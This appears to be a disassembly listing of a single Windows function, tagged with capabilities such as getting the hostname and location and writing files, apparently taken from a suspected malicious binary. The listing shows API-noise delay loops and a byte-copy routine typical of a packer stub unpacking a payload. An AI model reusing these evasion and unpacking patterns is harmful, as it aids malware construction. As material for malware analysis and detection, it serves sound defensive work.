Function at 0x818f90
Capabilities:
Create directory
Get common file path
Get geographical location
Get hostname
Manipulate console buffer
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xffffffc0
sub esp, 0xcf4
mov eax, dword [0x82014c]
xor eax, esp
mov dword [esp + 0xcf0], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
xor esi, esi
jmp 0x818fc0
call edi
push 0
call ebx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
cmp esi, 0x176afc
jg 0x818fe5
inc esi
cmp esi, 0x365ea5f8
jl 0x818fc0
jmp 0x818ff8
cmp dword [0x2fc8924], 0xa
jne 0x818ff8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edi, dword [sym.imp.KERNEL32.dll_SetEvent]
xor ebx, ebx
xor esi, esi
cmp esi, 0x562d05
jne 0x819014
mov eax, dword [0x822194]
mov dword [0x2fc8928], eax
cmp dword [0x2fc8924], 0x3c
jne 0x819020
push ebx
call edi
inc esi
cmp esi, 0x5f6c74
jl 0x819002
cmp dword [0x2fc8924], 0x7c
jne 0x8190b7
push ebx
call dword [sym.imp.ole32.dll_CreateDataAdviseHolder]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea ecx, [esp + 0xf8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push ebx
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push str.pecanasotapih
call dword [sym.imp.KERNEL32.dll_AddAtomW]
lea edx, [esp + 0x4f8]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsW]
cmp dword [0x2fc8924], 0x2d
jne 0x819099
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FatalAppExitA]
push 0x81e070
push 0x822f10
call fcn.0040233a
fldz
fstp qword [esp]
call fcn.00401fd0
fstp st(0)
add esp, 8
cmp dword [0x2fc8924], 0x110a
jne 0x819142
push ebx
push ebx
lea eax, [esp + 0x50]
push eax
mov dword [0x2fc8590], ebx
mov dword [0x2fc8594], ebx
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push ebx
push ebx
call fcn.004020ed
push ebx
call fcn.0040216c
add esp, 0xc
push ebx
push ebx
call fcn.004020ed
add esp, 8
mov edi, 1
lea esi, [esp + 0x20]
mov dword [esp + 0x34], 0xf
mov dword [esp + 0x30], ebx
mov byte [esp + 0x20], bl
call fcn.004011b0
push ebx
push ebx
call fcn.004020ed
push ebx
call fcn.00402323
add esp, 0xc
cmp dword [esp + 0x34], 0x10
jb 0x819142
mov ecx, dword [esp + 0x20]
push ecx
call fcn.0040249c
add esp, 4
call fcn.00818520
xor esi, esi
cmp dword [0x2fc8924], ebx
jbe 0x8191a0
mov edi, dword [sym.imp.KERNEL32.dll_ReplaceFileA]
jmp 0x819160
mov edx, dword [0x2fc8928]
mov dword [esp + 0xc], edx
mov eax, 0xa231
add dword [esp + 0xc], eax
mov eax, dword [esp + 0xc]
mov cl, byte [eax + esi]
mov edx, dword [0x2fc64a4]
mov byte [edx + esi], cl
cmp dword [0x2fc8924], 0x5ab
jne 0x819197
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call edi
inc esi
cmp esi, dword [0x2fc8924]
jb 0x819160
call fcn.00818e10
call fcn.00818550
call fcn.00818f00
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessWorkingSetSize]
xor esi, esi
mov ebx, 0x41
lea esp, [esp]
cmp dword [0x2fc8924], ebx
jne 0x8191d0
push 0
push 0
push 0
call edi
cmp esi, 0xbd9cb
jne 0x8191dd
call fcn.00818540
inc esi
cmp esi, 0x15a63d
jl 0x8191c0
mov ebx, dword [esp + 0x28]
mov edi, dword [sym.imp.USER32.dll_GetClassLongW]
xor esi, esi
push 0
push 0
call edi
cmp esi, 0x1abc7
jle 0x819208
cmp ebx, 0xf5bed7
jne 0x819211
inc esi
cmp esi, 0x1ebc2ad2
jl 0x8191f2
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterW]
mov edi, dword [sym.imp.ADVAPI32.dll_AccessCheckByType]
mov dword [esp + 0x10], 0x1519a5
mov ebx, dword [esp + 0x10]
lea esp, [esp]
cmp dword [0x2fc8924], 0x3dc
mov dword [0x2fc858c], 0x8e46a6f0
jne 0x819277
xor eax, eax
lea edx, [esp + 0x1c]
push edx
push eax
push eax
push eax
push eax
mov dword [esp + 0x20], eax
call esi
mov eax, dword [esp + 0x14]
push 0
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x1c]
push edx
push ebx
push 0
push 0
push eax
push 0
push 0
push 0
push 0
call edi
dec dword [esp + 0x10]
jne 0x819230
mov ecx, dword [esp + 0xcfc]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401a50
mov esp, ebp
pop ebp
ret